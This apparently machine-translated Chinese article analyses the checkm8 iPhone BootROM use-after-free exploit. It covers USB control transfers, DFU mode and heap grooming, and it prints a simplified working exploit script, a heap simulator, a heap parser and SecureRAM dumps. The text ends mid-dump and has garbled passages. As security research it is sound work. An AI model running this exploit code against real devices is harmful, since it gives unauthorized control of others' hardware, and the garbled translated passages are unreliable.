🖐️ 😟 🗜️ checkm8漏洞利用的技术分析 🚴🏾 🎦 🌌

您很有可能已经听说过耸人听闻的checkm8攻击，该漏洞在包括iPhone X在内BootROM大多数iDevices的BootROM使用了不可恢复的漏洞iPhone X 在本文中，我们将对漏洞利用进行技术分析，并研究漏洞的原因。任何有兴趣的人-欢迎大家切入！

您可以在此处阅读该文章的英文版。

引言

首先，我们将简要描述iDevice引导过程，并找出BootROM在其中的位置（也可以称为SecureROM ）以及为什么需要它。有关此的详细信息在这里。简化的启动过程可以表示如下：

BootROM是处理器执行的第一件事。 BootROM的主要任务：

平台的初始化（设置必要的平台寄存器，初始化CPU等）
验证并将控制权转移到下一个加载阶段
- BootROM支持IMG3/IMG4映像的解析
- BootROM可以访问用于解密映像的GID密钥
- 为了检查图像， Apple公用密钥内置在BootROM ，并且具有使用加密的必要功能。
如果无法进一步下载，请恢复设备（ Device Firmware Update ， DFU ）

BootROM体积非常小，可以称为iBoot的精简版，因为它们共享大多数系统代码和库代码。但是，与iBoot不同， BootROM无法更新。制造设备时，它被放置在内部只读存储器中。 BootROM是引导链信任的硬件根。它中的漏洞可能使您可以控制进一步的下载过程，并在设备上执行未签名的代码。

checkm8的外观

checkm8漏洞已由其作者axi0mX于2019年9月27日添加到ipwndfu实用程序中。然后他宣布其Twitter帐户进行了更新，并附有对该漏洞的描述和其他信息。您可以从线程中发现作者在2018年夏季的iBoot for iOS 12 beta的补丁发布iBoot发现了USB代码中的use-after-free漏洞。如前所述， BootROM和iBoot有很多通用代码，包括USB代码，这就是为什么此漏洞也与BootROM相关的原因。

从漏洞利用代码还可以看出，该漏洞是在DFU利用的。在这种模式下，可以通过USB将签名的图像传输到设备，随后将其下载。例如，如果更新失败，则可能需要还原设备。

在同一天， littlelailo报告说他在3月发现了此漏洞，并将其描述发布在apollo.txt文件中。该描述与checkm8代码中发生的情况相对应，但未完全阐明漏洞利用的细节。因此，我们决定写这篇文章，并描述操作的所有细节，直到在BootROM包括BootROM执行有效负载为止。

我们根据之前提到的材料以及2018年2月泄漏的iBoot/SecureROM源代码进行了漏洞利用分析。我们还使用了在我们的测试设备iPhone 7 （ CPID:8010 ）上通过实验获得的数据。使用checkm8我们从其中删除了SecureROM和SecureRAM转储，这有助于我们进行分析。

基本的USB知识

检测到的漏洞在USB代码中，因此需要有关此接口的一些知识。您可以在此处阅读完整的规范，但内容很多。 NutShell中的USB是一种出色的材料，足以进一步理解。这里我们只给出最必要的。

USB数据传输有多种类型。 DFU仅使用“ Control Transfers模式（您可以在此处阅读有关内容）。此模式下的每个事务都包括三个阶段：

Setup Stage -在此阶段，将发送SETUP数据包，该数据包包含以下字段：
- bmRequestType描述请求的方向，类型和接收者
- bRequest确定发出哪个请求
- wValue ， wIndex根据请求，可以对它们进行不同的解释
- wLength Data Stage中接收/发送的数据的长度
Data Stage -发生数据传输的可选阶段。根据前一阶段的SETUP数据包，这可能是从主机向设备发送数据（ OUT ），反之亦然（ IN ）。数据按小部分发送（对于Apple DFU ，为0x40字节）。
- 当主机要传输下一批数据时，它将发送一个OUT令牌，然后发送数据本身。
- 当主机准备好从设备接收数据时，它会发送一个IN令牌，以响应设备发送数据。
Status Stage -报告整个交易状态的最后阶段。
- 对于OUT请求，主机发送一个IN令牌，作为响应，设备应发送零长度的数据包。
- 对于IN请求，主机发送OUT令牌和零长度数据包。

下图显示了OUT和IN查询。我们有意从描述和交互方案中删除了ACK ， NACK和其他握手包，因为它们在漏洞利用程序本身中没有特殊作用。

分析apollo.txt

我们通过分析apollo.txt文档中的漏洞开始分析。它描述了DFU模式的算法：

https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
当USB开始通过dfu获取图像时，dfu注册一个接口来处理所有命令，并为输入和输出分配一个缓冲区。
如果您将数据发送到dfu，则设置包将由主代码处理，然后调出接口代码
接口代码验证wLength短于输入输出缓冲区的长度，如果是这种情况，它将使用指向输入输出缓冲区的指针更新作为参数传递的指针
然后返回wLength，这是它要接收到缓冲区的长度
然后，USB主代码使用长度更新全局变量，并准备好接收数据包
如果接收到数据包，则通过作为参数传递的指针将其写入输入输出缓冲区，并使用另一个全局变量来跟踪已经接收了多少字节
如果接收到所有数据，则再次调用特定于dfu的代码，然后继续将输入输出缓冲区的内容复制到以后从中引导映像的内存位置
之后，usb代码将重置所有变量，然后继续处理新软件包
如果dfu退出，则释放输入输出缓冲区，并且如果映像解析失败，则bootrom重新输入dfu

首先，我们将描述的步骤与iBoot源代码进行了比较。由于我们无法在本文中使用泄漏的源代码片段，因此我们将在IDA显示通过iPhone 7 SecureROM反向工程获得的伪代码。您可以轻松找到iBoot的源代码并进行导航。

初始化DFU模式后，将分配IO缓冲区并注册USB接口以处理对DFU请求：

当SETUP请求数据包到达DFU ，将调用相应的接口处理程序。如果成功执行OUT请求（例如，在图像传输期间），则处理程序必须返回用于事务的IO缓冲区的地址以及它希望通过指针接收的数据大小。在这种情况下，缓冲区地址和期望数据的大小存储在全局变量中。

DFU的接口处理程序如下图所示。如果请求正确，那么指针将返回在DFU初始化阶段分配的IO缓冲区的地址以及从SETUP数据包中获取的预期数据的长度。

在Data Stage每条数据写入IO缓冲区，然后IO缓冲区的地址被移位并更新接收到的数据的计数器。接收到所有预期数据后，将调用接口数据处理程序，并清除全局传输状态。

在DFU数据处理程序中，将接收到的数据移到将继续下载的存储区。从iBoot源代码来看， Apple此存储区称为INSECURE_MEMORY 。

退出DFU模式时，先前分配的IO缓冲区将被释放。如果在DFU模式下成功接收到图像，将对其进行检查和加载。如果在DFU模式的操作过程中发生了一些错误，或者无法加载生成的图像，则DFU将重新初始化，并且一切将重新开始。

在所描述的算法中存在无用use-after-free漏洞。如果在引导时发送SETUP数据包并跳过Data Stage完成事务，则在重新进入DFU周期后，全局状态将保持初始化，并且我们将能够写入在先前DFU迭代中分配的IO缓冲区的地址。

处理了“ use-after-free漏洞后，我们想知道：如何在DFU的下一次迭代期间覆盖某些内容？毕竟，在重新初始化DFU之前，必须释放所有先前分配的资源，并且新迭代中的内存位置应该完全相同。事实证明，还有另一个有趣且非常漂亮的内存泄漏错误，该错误允许利用无用use-after-free漏洞，我们将在后面讨论。

Checkm8分析

我们直接进行对checkm8利用的分析。为简单起见，我们将分析iPhone 7漏洞的修改版，其中删除了与其他平台关联的代码，更改了USB请求的顺序和类型，而不会丢失该漏洞。同样在此版本中，删除了构造有效负载的过程，可以在原始的checkm8.py文件中找到它。了解其他设备的版本之间的差异应该不难。

 #!/usr/bin/env python from checkm8 import * def main(): print '*** checkm8 exploit by axi0mX ***' device = dfu.acquire_device(1800) start = time.time() print 'Found:', device.serial_number if 'PWND:[' in device.serial_number: print 'Device is already in pwned DFU Mode. Not executing exploit.' return payload, _ = exploit_config(device.serial_number) t8010_nop_gadget = 0x10000CC6C callback_chain = 0x1800B0800 t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain) # heap feng-shui stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device) # set global state and restart usb device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) time.sleep(0.5) # heap occupation device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50) for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() if 'PWND:[checkm8]' not in device.serial_number: print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.' sys.exit(1) print 'Device is now in pwned DFU Mode.' print '(%0.2f seconds)' % (time.time() - start) dfu.release_device(device) if __name__ == '__main__': main()

checkm8工作可以分为几个阶段：

堆准备（ heap feng-shui ）
在不清除全局状态的情况下分配和释放IO缓冲区
use-after-free覆盖功能覆盖usb_device_io_request
有效负载放置
callback-chain执行
shellcode执行

详细考虑每个阶段。

1.堆准备（堆风水）

在我们看来，这是最有趣的阶段，我们对此格外注意。

 stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device)

此步骤对于实现use-after-free操作的便利堆状态是必需的。首先，请考虑调用stall ， leak ， no_leak ：

 def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001) def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1) def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1)

libusb1_no_error_ctrl_transfer是libusb1_no_error_ctrl_transfer的包装，其中忽略了执行请求时发生的任何异常。 libusb1_async_ctrl_transfer - libusb的libusb_submit_transfer函数的包装，用于异步查询执行。

这两个调用均接受以下参数：

设备实例
SETUP包的数据（它们的描述在此处）：
- bmRequestType
- bRequest
- wValue
- wIndex
数据大小（ wLength ）或Data Stage
请求超时

参数bmRequestType ， bRequest ， wValue和wIndex对于这三种查询都是通用的。他们的意思是：

bmRequestType = 0x80
- 0b1XXXXXXX Data Stage从设备到主机（设备到主机）的方向
- 0bX00XXXXX标准请求类型
- 0bXXX00000请求的接收者-设备
bRequest = 6请求描述符（ GET_DESCRIPTOR ）
wValue = 0x304
- wValueHigh = 0x3确定要接收的描述符的类型-字符串（ USB_DT_STRING ）
- wValueLow = 0x4是字符串描述符的索引，4对应于设备的序列号（在这种情况下，字符串看起来像CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33] ）
wIndex = 0x40A字符串语言的标识符，其值对于操作并不重要，可以更改。

对于这三个请求中的任何一个，在堆上都会为以下结构的对象分配0x30字节：

该对象最有趣的字段是callback和next 。

callback指向在请求完成时将被调用的函数的指针。
next指向相同类型的下一个对象的指针，对于排队请求是必需的。

调用stall关键功能是使用请求的异步执行，并以最小的超时时间进行。因此，如果幸运的话，该请求将在OS级别被取消，并将保留在执行队列中，并且事务将无法完成。同时，设备将继续接受所有传入的SETUP数据包，并在必要时将其放入执行队列中。后来，通过使用Arduino上的USB进行实验Arduino我们发现主机必须发送SETUP数据包和IN令牌才能成功操作，然后必须通过超时取消事务。在示意图上，这种不完整的交易可以表示为：

其余请求的长度仅相差一。事实是，对于标准查询，存在一个标准callback ，如下所示：

io_length值等于请求的SETUP数据包中的wLength的最小值和所请求描述符的原始长度。由于描述符足够长，因此我们可以将io_length值精确控制在其长度内。 g_setup_request.wLength的值等于最后一个SETUP数据包的wLength的值，在这种情况下为0xC1 。

因此，在使用stall和leak调用生成的查询完成时，满足了最终callback函数中的条件，并usb_core_send_zlp() 。该调用仅创建一个zero-length-packet ，并将其添加到执行队列中。这对于在Status Stage正确完成事务是必要的。

该请求以对usb_core_complete_endpoint_io函数的调用结束，该函数首先调用callback ，然后释放请求内存。在这种情况下，请求的完成不仅可以在整个事务实际完成时发生，而且可以在重置USB时发生。收到USB重置信号后，请求队列将被绕过，并且每个请求队列都将完成。

由于对usb_core_send_zlp()的选择性调用，绕过了请求队列然后释放了它们，因此您可以实现足够的堆控制，以进行释放use-after-free操作。首先，让我们看一下发布周期本身：

首先清除请求队列，然后对取消的请求进行usb_core_complete_endpoint_io ，并通过调用usb_core_complete_endpoint_io完成usb_core_complete_endpoint_io 。同时，将使用usb_core_send_zlp选择的请求放置在ep->io_head 。 USB重置过程完成后，有关端点的所有信息都将被重置，包括io_head和io_tail ，零长度请求将保留在堆中。因此，您可以在堆其余部分的中间创建一个小的块。下图显示了这种情况：

SecureROM的堆的设计方式是从合适的最小大小的空闲块中分配一个新的存储区。通过上述方法创建一个小的空闲块，可以影响USB初始化期间的内存分配以及io_buffer和请求的分配。

为了更好地理解，让我们找出在DFU初始化期间发生了哪些堆请求。在分析iBoot源代码和iBoot逆向工程的过程中SecureROM我们设法获得了以下顺序：

1. 分配各种字符串描述符
  - 1.1。 Nonce （大小234 ）
  - 1.2。 Manufacturer （ 22 ）
  - 1.3。 Product （ 62 ）
  - 1.4。 Serial Number （ 198 ）
  - 1.5。 Configuration string （ 62 ）
1. 与创建USB任务相关的分配
  - 2.1。任务结构（ 0x3c0 ）
  - 2.2。堆栈任务（ 0x1000 ）
1. io_buffer （ 0x800 ）
1. 配置描述符
  - 4.1。 High-Speed （ 25 ）
  - 4.2。 Full-Speed （ 25 ）

然后是请求结构的分配。如果堆空间的中间有一个小块，则第一类的一些分配将进入该块，所有其他分配将移动，因此我们可能会溢出usb_device_io_request ，这是指旧缓冲区。可以用以下方式表示：

为了计算必要的偏差，我们决定简单地模拟上面列出的分配，略微修改iBoot堆的源代码。

DFU堆仿真

 #include "heap.h" #include <stdio.h> #include <unistd.h> #include <sys/mman.h> #ifndef NOLEAK #define NOLEAK (8) #endif int main() { void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); printf("chunk = %p\n", chunk); heap_add_chunk(chunk, 0x100000, 1); malloc(0x3c0); //        SecureRAM void * descs[10]; void * io_req[100]; descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); const int N = NOLEAK; void * task = malloc(0x3c0); void * task_stack = malloc(0x4000); void * io_buf_0 = memalign(0x800, 0x40); void * hs = malloc(25); void * fs = malloc(25); void * zlps[2]; for(int i = 0; i < N; i++) { io_req[i] = malloc(0x30); } for(int i = 0; i < N; i++) { if(i < 2) { zlps[i] = malloc(0x30); } free(io_req[i]); } for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_0); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 2; i++) { printf("zlps[%d] = %p\n", i, zlps[i]); } printf("**********\n"); for(int i = 0; i < 5; i++) { free(descs[i]); } free(task); free(task_stack); free(io_buf_0); free(hs); free(fs); descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); task = malloc(0x3c0); task_stack = malloc(0x4000); void * io_buf_1 = memalign(0x800, 0x40); hs = malloc(25); fs = malloc(25); for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_1); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 5; i++) { io_req[i] = malloc(0x30); printf("io_req[%d] = %p\n", i, io_req[i]); } printf("**********\n"); printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0); printf("hs_off = %#lx\n", (int64_t)hs - (int64_t)io_buf_0); printf("fs_off = %#lx\n", (int64_t)fs - (int64_t)io_buf_0); return 0; }

在heap feng-shui阶段有8个请求的程序输出：

 chunk = 0x1004000 descs[0] = 0x1004480 descs[1] = 0x10045c0 descs[2] = 0x1004640 descs[3] = 0x10046c0 descs[4] = 0x1004800 task = 0x1004880 task_stack = 0x1004c80 io_buf = 0x1008d00 hs = 0x1009540 fs = 0x10095c0 zlps[0] = 0x1009a40 zlps[1] = 0x1009640 ********** descs[0] = 0x10096c0 descs[1] = 0x1009800 descs[2] = 0x1009880 descs[3] = 0x1009900 descs[4] = 0x1004480 task = 0x1004500 task_stack = 0x1004900 io_buf = 0x1008980 hs = 0x10091c0 fs = 0x1009240 io_req[0] = 0x10092c0 io_req[1] = 0x1009340 io_req[2] = 0x10093c0 io_req[3] = 0x1009440 io_req[4] = 0x10094c0 ********** io_req_off = 0x5c0 hs_off = 0x4c0 fs_off = 0x540

下一个usb_device_io_request将与前一个缓冲区的起始位置偏移0x5c0 ，这与利用代码相对应：

 t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain)

, SecureRAM , checkm8 . , . , usb_device_io_request , .

 #!/usr/bin/env python3 import struct from hexdump import hexdump with open('HEAP', 'rb') as f: heap = f.read() cur = 0x4000 def parse_header(cur): _, _, _, _, this_size, t = struct.unpack('<QQQQQQ', heap[cur:cur + 0x30]) is_free = t & 1 prev_free = (t >> 1) & 1 prev_size = t >> 2 this_size *= 0x40 prev_size *= 0x40 return this_size, is_free, prev_size, prev_free while True: try: this_size, is_free, prev_size, prev_free = parse_header(cur) except Exception as ex: break print('chunk at', hex(cur + 0x40)) if this_size == 0: if cur in (0x9180, 0x9200, 0x9280): #    this_size = 0x80 else: break print(hex(this_size), 'free' if is_free else 'non-free', hex(prev_size), prev_free) hexdump(heap[cur + 0x40:cur + min(this_size, 0x100)]) cur += this_size

. , .

SecureRAM

 chunk at 0x4040 0x40 non-free 0x0 0 chunk at 0x4080 0x80 non-free 0x40 0 00000000: 00 41 1B 80 01 00 00 00 00 00 00 00 00 00 00 00 .A.............. 00000010: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................ 00000020: FF 00 00 00 00 00 00 00 68 3F 08 80 01 00 00 00 ........h?...... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x4100 0x140 non-free 0x80 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4240 0x240 non-free 0x140 0 00000000: 68 6F 73 74 20 62 72 69 64 67 65 00 00 00 00 00 host bridge..... 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4480 // descs[4], conf string 0x80 non-free 0x240 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x4500 // task 0x400 non-free 0x80 0 00000000: 6B 73 61 74 00 00 00 00 E0 01 08 80 01 00 00 00 ksat............ 00000010: E8 83 08 80 01 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4900 // task stack 0x4080 non-free 0x400 0 00000000: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000010: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000020: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000030: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000040: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000050: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000060: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000070: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000080: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000090: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000A0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000B0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats chunk at 0x8980 // io_buf 0x840 non-free 0x4080 0 00000000: 63 6D 65 6D 63 6D 65 6D 00 00 00 00 00 00 00 00 cmemcmem........ 00000010: 10 00 0B 80 01 00 00 00 00 00 1B 80 01 00 00 00 ................ 00000020: EF FF 00 00 00 00 00 00 10 08 0B 80 01 00 00 00 ................ 00000030: 4C CC 00 00 01 00 00 00 20 08 0B 80 01 00 00 00 L....... ....... 00000040: 4C CC 00 00 01 00 00 00 30 08 0B 80 01 00 00 00 L.......0....... 00000050: 4C CC 00 00 01 00 00 00 40 08 0B 80 01 00 00 00 L.......@....... 00000060: 4C CC 00 00 01 00 00 00 A0 08 0B 80 01 00 00 00 L............... 00000070: 00 06 0B 80 01 00 00 00 6C 04 00 00 01 00 00 00 ........l....... 00000080: 00 00 00 00 00 00 00 00 78 04 00 00 01 00 00 00 ........x....... 00000090: 00 00 00 00 00 00 00 00 B8 A4 00 00 01 00 00 00 ................ 000000A0: 00 00 0B 80 01 00 00 00 E4 03 00 00 01 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 34 04 00 00 01 00 00 00 ........4....... chunk at 0x91c0 // hs config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x9240 // ls config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x92c0 0x80 non-free 0x0 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 6C CC 00 00 01 00 00 00 00 08 0B 80 01 00 00 00 l............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9340 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF C0 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 48 DE 00 00 01 00 00 00 C0 93 1B 80 01 00 00 00 H............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x93c0 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 94 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9440 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x94c0 0x180 non-free 0x80 0 00000000: E4 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9640 // zlps[1] 0x80 non-free 0x180 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x96c0 // descs[0], Nonce 0x140 non-free 0x80 0 00000000: EA 03 20 00 4E 00 4F 00 4E 00 43 00 3A 00 35 00 .. .NONC:.5. 00000010: 35 00 46 00 38 00 43 00 41 00 39 00 37 00 41 00 5.F.8.CA9.7.A. 00000020: 46 00 45 00 36 00 30 00 36 00 43 00 39 00 41 00 FE6.0.6.C.9.A. 00000030: 41 00 31 00 31 00 32 00 44 00 38 00 42 00 37 00 A.1.1.2.D.8.B.7. 00000040: 43 00 46 00 33 00 35 00 30 00 46 00 42 00 36 00 CF3.5.0.FB6. 00000050: 35 00 37 00 36 00 43 00 41 00 41 00 44 00 30 00 5.7.6.CAAD0. 00000060: 38 00 43 00 39 00 35 00 39 00 39 00 34 00 41 00 8.C.9.5.9.9.4.A. 00000070: 46 00 32 00 34 00 42 00 43 00 38 00 44 00 32 00 F.2.4.BC8.D.2. 00000080: 36 00 37 00 30 00 38 00 35 00 43 00 31 00 20 00 6.7.0.8.5.C.1. . 00000090: 53 00 4E 00 4F 00 4E 00 3A 00 42 00 42 00 41 00 SNON:.BBA 000000A0: 30 00 41 00 36 00 46 00 31 00 36 00 42 00 35 00 0.A.6.F.1.6.B.5. 000000B0: 31 00 37 00 45 00 31 00 44 00 33 00 39 00 32 00 1.7.E.1.D.3.9.2. chunk at 0x9800 // descs[1], Manufacturer 0x80 non-free 0x140 0 00000000: 16 03 41 00 70 00 70 00 6C 00 65 00 20 00 49 00 ..Apple .I. 00000010: 6E 00 63 00 2E 00 D6 D7 D8 D9 DA DB DC DD DE DF nc............ 00000020: E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9880 // descs[2], Product 0x80 non-free 0x80 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x9900 // descs[3], Serial number 0x140 non-free 0x80 0 00000000: C6 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 